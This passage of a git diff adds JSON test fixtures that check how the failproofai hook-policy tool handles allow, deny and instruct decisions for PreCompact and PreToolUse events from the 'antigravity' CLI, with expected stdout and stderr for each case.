"decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1fc98682 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..018d8301 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e33b424e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..40465292 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c4157519 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..95f8bea4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f6f39e2e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..95b784b3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0d25865e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6258ca13 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..01026394 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..84a74727 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c93f7245 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8dba6e88 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..635d43d2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..331eaacb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c0e0e286 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..325f50ff --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f76f38c1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..36120de3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 